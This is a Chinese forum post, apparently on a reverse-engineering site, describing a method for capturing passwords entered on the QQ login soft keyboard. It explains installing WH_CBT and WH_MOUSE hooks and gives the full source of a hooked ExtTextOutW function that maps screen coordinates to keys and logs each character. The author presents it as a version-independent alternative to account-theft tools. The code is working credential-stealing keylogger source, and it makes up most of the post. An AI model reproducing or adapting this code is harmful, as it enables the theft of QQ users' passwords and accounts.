好吧,说说有关QQ软键盘的事。以前看到各类QQ软键盘的盗号代码以及工具,我觉得吧,很高手的就是那种OD进去,Patch出来的那种,然后各种绕,最后就出来密码的逆向高人。可惜问题在于这种代码时效性真的有点弱,特别是QQ一更新就各种MISS...位置各方面不对
但是呢,后来发现了一个比较通用的截获QQ软键盘记录的方法(注意是软键盘,你要说硬键盘+软键盘我也没戏)。就是利用了QQ登陆时候,会初始化一个软键盘的表,而那个表是按照一定位置规律的坐标来排列的,只要算好位置,然后知道两个重要的参数就是了:参数一是软键盘的窗口,我们可以加载个WH_CBT钩子,从而获得;参数二是软键盘点击左键时,鼠标所在的位置,这个由加载WH_MOUSE钩子获得。只要知道以上两个参数,然后就是由ExtTextOutW中截获的QQ软键盘坐标,就能获得你所按下的每个键了。
这是我逆向出来的软键盘坐标,并且指示出按键的核心代码:
BOOL WINAPI ExtTextOutW_new(
HDC hdc, // handle to device context
int X, // x-coordinate of reference point
int Y, // y-coordinate of reference point
UINT fuOptions, // text-output options
CONST RECT *lprc, // optional clipping and/or opaquing rectangle
LPCWSTR lpwString, // points to string
UINT cbCount, // number of characters in string
CONST INT *lpDx // pointer to array of intercharacter spacing values
)
{
char buf[5] = {0};
int iKeyRow_1 = 0;
int iKeyRow_2 = 0;
int iKeyRow_3 = 0;
int iKeyRow_4 = 0;
//按下按键
if ( g_bLButtonDown )
{
if ( Y >= 4 ) // 4=第一排Y轴最短距离
{
if ( Y <= 27 ) // 27=第一排Y轴最大距离
{
if ( g_coordinate_Y >= 4 )
{
if ( g_coordinate_Y <= 27 ) // 处于第一排按钮
{
if ( X < 297 || g_coordinate_X < 297 ) // 表示第一排按键,除去退格键
{
iKeyRow_1 = g_coordinate_X - (g_coordinate_X - 11) % 26;
if ( X > iKeyRow_1 )
{
if ( X < iKeyRow_1 + 24 ) // 24=一个按键的X轴长度
{
//分Shift按下和不按下的情况
if ( g_bShift_ON ) // 开启软键盘的Shift键之时
{
memset(buf,0,5);
Unichar2Char(lpwString,buf);
char szNumberKey[15]="~!@#$%^&*()"; //第一排按键为:`1234567890
if( strstr(szNumberKey,buf) != NULL )
{
PRINT(buf);
g_bShift_ON = 0; //重置Shift键
}
}
else // 软键盘的Shift键没有开启
{
memset(buf,0,5);
Unichar2Char(lpwString,buf);
char szNumberKey[15]="`1234567890"; //第一排按键为:`1234567890
if( strstr(szNumberKey,buf) != NULL )
{
PRINT(buf);
}
}
}
}
}
else
{
PRINT("BackSpace"); //退格键,需要特殊处理输出
}
}
}
}
} //第一排结束
if ( Y >= 30 )
{
if ( Y <= 53 )
{
if ( g_coordinate_Y >= 30 )
{
if ( g_coordinate_Y <= 53 ) // 处于第二排
{
if ( X >= 3 )
{
if ( X <= 41 ) // 处于第二排中的第一个按键,即是Shift
{
if ( g_coordinate_X >= 3 )
{
if ( g_coordinate_X <= 41 )
{
//Shift标签需要单独处理
if ( g_bShiftFlag++ == 1 )
{
g_bShiftFlag = 0;
g_bShift_ON = (g_bShift_ON==0);
PRINT("Shift");
PRINT("g_bShift_ON=%d",g_bShift_ON);
}
}
}
}
}
if ( X >= 43 )
{
if ( X < 293 )
{
if ( g_coordinate_X >= 43 )
{
if ( g_coordinate_X <= 293 ) // 处于第二排的其它按键情况,但非大小写锁定键
{
iKeyRow_2 = (g_coordinate_X - 43) % 25;
if ( X > g_coordinate_X - iKeyRow_2 )
{
if ( X < g_coordinate_X - iKeyRow_2 + 23 ) //第二排的按键的长度是23
{
//如果说Shift键按下
if ( g_bShift_ON )
{
memset(buf,0,5);
Unichar2Char(lpwString,buf);
char szCharacterKey[15]="\"<>?_+|{}:";
if( strstr(szCharacterKey,buf) != NULL )
{
PRINT(buf);
g_bShift_ON = 0; //重置Shift键
}
}
else
{
memset(buf,0,5);
Unichar2Char(lpwString,buf);
char szCharacterKey[15]="',./-=\\[];";
if( strstr(szCharacterKey,buf) != NULL )
{
PRINT(buf);
}
}
}
}
}
}
}
}
}
}
}
} //第二排结束
if ( Y >= 56 )
{
if ( Y <= 79 )
{
if ( g_coordinate_Y >= 56 )
{
if ( g_coordinate_Y <= 79 ) // 第三排,字母行
{
iKeyRow_3 = (g_coordinate_X - 11) % 26;
if ( X > g_coordinate_X - iKeyRow_3 )
{
if ( X < g_coordinate_X - iKeyRow_3 + 24 )
{
memset(buf,0,5);
Unichar2Char(lpwString,buf);
PRINT(buf);
}
}
}
}
}
}
if ( Y >= 82 )
{
if ( Y <= 105 )
{
if ( g_coordinate_Y >= 82 )
{
if ( g_coordinate_Y <= 105 ) // 第四排,字母行
{
iKeyRow_4 = g_coordinate_X - (g_coordinate_X - 11) % 26;
if ( X > iKeyRow_4 )
{
if ( X < iKeyRow_4 + 24 )
{
memset(buf,0,5);
Unichar2Char(lpwString,buf);
PRINT(buf);
}
}
}
}
}
}
}//按下按键结束
BOOL ret = ((EXTTEXTOUTW)g_Proc_ExtTextOutW)(hdc, X, Y, fuOptions, lprc, lpwString, cbCount, lpDx);
return ret;
}
这些东西真是很难算,如果是真的去编它的话我估计3天绝对不够,即使你知道这么做。最后来看看效果(因为时间冲忙,我就直接那DbgView来打出来了,其实还用SendMessage的DATA_STRUCT的最好,哎~人变懒了)
而且我觉得最爽的是,这个方法通用的版本还包括2009和新出的2011...
[招生]系统0day安全班,企业级设备固件漏洞挖掘,Linux平台漏洞挖掘!